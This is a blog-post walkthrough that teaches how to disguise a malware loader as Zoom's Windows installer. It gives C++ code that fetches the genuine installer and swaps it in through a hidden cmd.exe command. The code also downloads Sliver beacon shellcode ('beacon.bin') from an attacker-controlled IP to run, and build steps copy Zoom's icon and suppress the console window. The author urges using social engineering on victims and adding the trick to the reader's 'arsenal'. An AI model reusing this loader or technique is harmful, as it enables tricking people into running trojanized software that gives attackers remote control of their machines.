Using Windows Installer files to deliver malware

Kavishka Gihan
7 min readMar 18, 2024

In this article I will be briefly walking you through how you can use Windows Installer files to deliver malware. This will be an explanation for the video POC that I have shared here.

In this example I will be using a loader that will execute sliver shellcode to get a fully functioning beacon. Do note that this will not be a guide on how you can build a custom loader. The goal of this article is to showcase the technique of using windows installer files to deliver the loader.

Due to the serious nature of this topic and the potential risks involved, I have made the decision not to disclose the full source code for the loader. However, I will be sharing snippets of code that would help you to integrate certain features relevant to this technique. Making your own loader shouldn’t be that difficult, considering the amount of resources available online. Here are some resources that helped me:

Introduction

Before we dive in to the technical side of this, you should understand what the process is. The first question that might pop in to your head is, “What’s an Windows Installer?” Well, “Windows Installers” in its core are executable files which are used to install certain applications. They are usually of .msi or .exe extensions.

Consider the inherent functionality of installers — they are designed to install applications, which entails actions such as connecting to remote servers, downloading files, and extracting and saving data. So we could exploit this expectation to deliver malware, as antivirus software is less inclined to flag installer files as malicious due to their anticipated behavior.

Methodology

Expected behavior

Let’s talk about what we are trying to accomplish here.

In the case where you have tricked the victim into using your installer to install the application of choice, the following will happen once the installer is clicked,

  1. First the crafted installer will download the actual legitimate installer for the application. This could be either from the application site itself or from a remote server you control.
  2. Then it will replace the crafted installer with the legitimate installer we downloaded and it will be executed. This will deceive the user into thinking that the actual installer is installing the application.
  3. Finally, it will download the shellcode for our sliver beacon and execute it. The technique you use to execute the shellcode totally depends on your loader. In my example I am using process injection. (You can ignore downloading part if you decide to bake your shellcode into the loader itself)

Assuming everything proceeds as planned, your shellcode will execute, the crafted installer will replace the legitimate one without leaving any traces of its presence, and the user will see the installation process for the application as expected.

Changing your loader

So given that you have a fully functioning loader that will execute your shellcode, in order for it to perform the said functionalities, you will have to change the sequence of its execution.

First, you need to download the legitimate installer

void DownloadLegitimateInstaller(LPCWSTR ip, LPCWSTR filename)
{
// Buffer for the username
WCHAR szUsername[MAX_USERNAME_LENGTH];
DWORD usernameLength = MAX_USERNAME_LENGTH;

// Get the current user's username
if (!GetUserNameW(szUsername, &usernameLength))
{
// Handle error
return;
}

// Construct the path to the local app data directory with the dynamic username
WCHAR localAppDataPath[MAX_PATH];
StringCbPrintfW(localAppDataPath, sizeof(localAppDataPath), L"C:\\Users\\%s\\AppData\\Roaming", szUsername);

// Construct the full path for saving the file
WCHAR savePath[MAX_PATH];
StringCbPrintfW(savePath, sizeof(savePath), L"%s\\%s", localAppDataPath, filename);

// Download the file and save it to the local app data directory
std::vector<BYTE> fileData = Download(ip, filename);

if (!fileData.empty())
{
// Open file for writing
HANDLE hFile = CreateFileW(savePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
// Write file data
DWORD bytesWritten;
WriteFile(hFile, &fileData[0], fileData.size(), &bytesWritten, NULL);
CloseHandle(hFile);
}
}
}

The above code snippet will download the legitimate installer and save it in the %appdata% folder of the user. You can change the directory if you wish to. Note that the Download() function is responsible for downloading the installer. Since I am using a server I control to host the legitimate installer, this function will take the IP and the file name of the installer and return the contents of the installer so that it can be saved.

Secondly, you need to replace the crafted installer with the installer we just downloaded. Since our crafted installer is already loaded to the memory, replacing the file won’t affect its execution.

#define CMD_STRING TEXT("cmd.exe /C move C:\\Users\\%s\\AppData\\Roaming\\ZoomInstaller.exe \"%s\" & %s")

void Replace()
{
TCHAR szModuleName[MAX_PATH];
TCHAR szCmd[3 * MAX_PATH];
TCHAR szUsername[MAX_USERNAME_LENGTH];
DWORD usernameLength = MAX_USERNAME_LENGTH;
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };

GetModuleFileName(NULL, szModuleName, MAX_PATH);

// Get the current user's username
if (GetUserName(szUsername, &usernameLength))
{
StringCbPrintf(szCmd, 3 * MAX_PATH, CMD_STRING, szModuleName, szUsername, szModuleName, szModuleName);
CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
}
else
{
// Handle error
}

CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}

This snippet will replace the crafted installer with the legitimate installer and execute it. Here we are creating a new process with CreateProcess and executing cmd.exe to execute a command. Do note that it is bad practice to have hard-coded commands inside your binary. However, in the context of evading Windows Defender, this approach often goes undetected. It’s worth noting that an Endpoint Detection and Response (EDR) system can quickly detect this behavior. In such scenarios, utilizing the MoveFile() function from Windows API is advisable.

Once these functionalities are added to your loader, the sequence of execution should look like this.

int main(int argc, char** argv) {

DownloadLegitimateInstaller(L"192.168.100.12", L"ZoomInstaller.exe");

Replace();

std::vector<BYTE> shellcode = Download(L"192.168.100.12", L"beacon.bin");

// Executing the shellcode using the technique of your choice

return 0;
}

As you can see, first the legitimate installer is downloaded and saved, then our crafted installer is replaced with that. Then the shellcode is downloaded and executed.

Choosing the correct installer

When selecting an installer to create, the choice is entirely yours and should be based on your victim’s profile. This is where your profiling and information-gathering skills come into play. Additionally, when distributing the installer, you must utilize your social engineering skills to deceive your victim into using it.

Here we will be creating a installer for installing the Zoom application.

Prerequisites for the installer

Now that you have your loader and the choice of your installer ready, its time to create your malicious installer.

So the goal here is to make our crafted installer look as same as the legitimate installer. In that sense first what we need to know is the name of the installer file. In case of zoom, the windows installer is called ZoomInstaller.exe So when we compile our loader the name should be set to that.

Then the next thing we need to do is change the icon of the installer. By default the compiled binary doesn’t have an icon. So we need to set it to the same icon that the real installer has. For the zoom installer, it has the same icon as their favicon.ico in their site. So we can easily get that.

┌──(kali__kali)-[/tmp]
└─$ wget -q https://zoom.us/favicon.ico

┌──(kali__kali)-[/tmp]
└─$ file favicon.ico
favicon.ico: PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced

But since this is a PNG, we will have to convert it to a ICO file. You can easily do that with ICO Converter

Once its converted, it should look something like this.

┌──(kali__kali)-[~/tmp]
└─$ file zoom.ico
zoom.ico: MS Windows icon resource - 3 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel

Compiling the loader

Now we that we have all we need, its time to compile the loader.

I am using mingw to compile the loader within my kali setup. So I have to do another additional step to add the icon to the executable. But if you are using Visual Studio Code, you should be able to add your ICO file from the properties in your project.

As for ones using mingw you first need to create a resources.o file to add the icon. For that, first create a resources.rc file and add the followings.

1 ICON "zoom.ico"

Make sure to change the icon file name here. Then using windres create the object file.

x86_64-w64-mingw32-windres -i resources.rc resources.o

Finally, we can use the g++ compiler to feed the resources.o file and compile it so that it will set the icon to the executable.

x86_64-w64-mingw32-g++ -mwindows --static resources.o injector.cpp -o ZoomInstaller.exe -lwinhttp -fpermissive

Note that the -mwindows options is used so that it won’t open a command prompt when the installer is clicked. Also the resources.o is set an argument.( -lwinhttp -fpermissive options are for the modules that I am using for my loader, those aren’t required if your aren’t using those modules)

And thats it!

Here is how it looks like in action.

Be on the lookout for attacks like this one! Also make sure to add this technique to your arsenal for your next engagement. Hope you found this walkthrough enjoyable and insightful :)

As always, if you have any questions, leave them in the comments or contact me through social media.

Happy Hacking!

--

--

Kavishka Gihan

Cyber Security Student | Machine author @hackthebox | find me on instagram @_kavi.gihan